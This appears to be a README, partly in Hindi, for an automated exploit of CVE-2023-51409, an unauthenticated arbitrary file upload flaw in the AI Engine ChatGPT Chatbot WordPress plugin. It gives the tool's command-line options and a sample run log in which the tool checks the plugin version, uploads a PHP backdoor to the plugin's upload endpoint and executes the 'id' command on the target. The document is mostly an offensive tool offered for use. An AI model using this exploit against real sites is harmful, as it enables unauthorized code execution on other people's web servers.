nxploited/cve-2023-51409स्वचालित शोषण CVE-2023-51409 के लिए, AI Engine ChatGPT Chatbot WordPress प्लगइन में एक अप्रमाणित मनमाना फ़ाइल अपलोड कमजोरी, जो PHP बैकडोर तैनाती को सक्षम करता है।
यह एक दुर्भावनापूर्ण अभिकर्ता को आपकी वेबसाइट पर किसी भी प्रकार की फ़ाइल अपलोड करने की अनुमति दे सकता है। इसमें बैकडोर शामिल हो सकते हैं जिन्हें निष्पादित करके आपकी वेबसाइट तक अतिरिक्त पहुँच प्राप्त की जा सकती है।
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress instance.
-code PHP_CODE, --php_code PHP_CODE
PHP code to upload (default, id).
[INFO] Initiating version check for target.
[INFO] Target plugin version detected: 1.9.98
[VULNERABLE] Detected vulnerable plugin version. Proceeding with exploitation.
[INFO] Target is vulnerable. Proceeding with file upload.
[INFO] Attempting to upload file: Nxploit.php to endpoint: http://192.168.100.74:888/wordpress/wp-json/mwai-ui/v1/files/upload
[SUCCESS] File uploaded successfully! Accessible at: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php
[INFO] Exploitation complete. Uploaded file URL: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)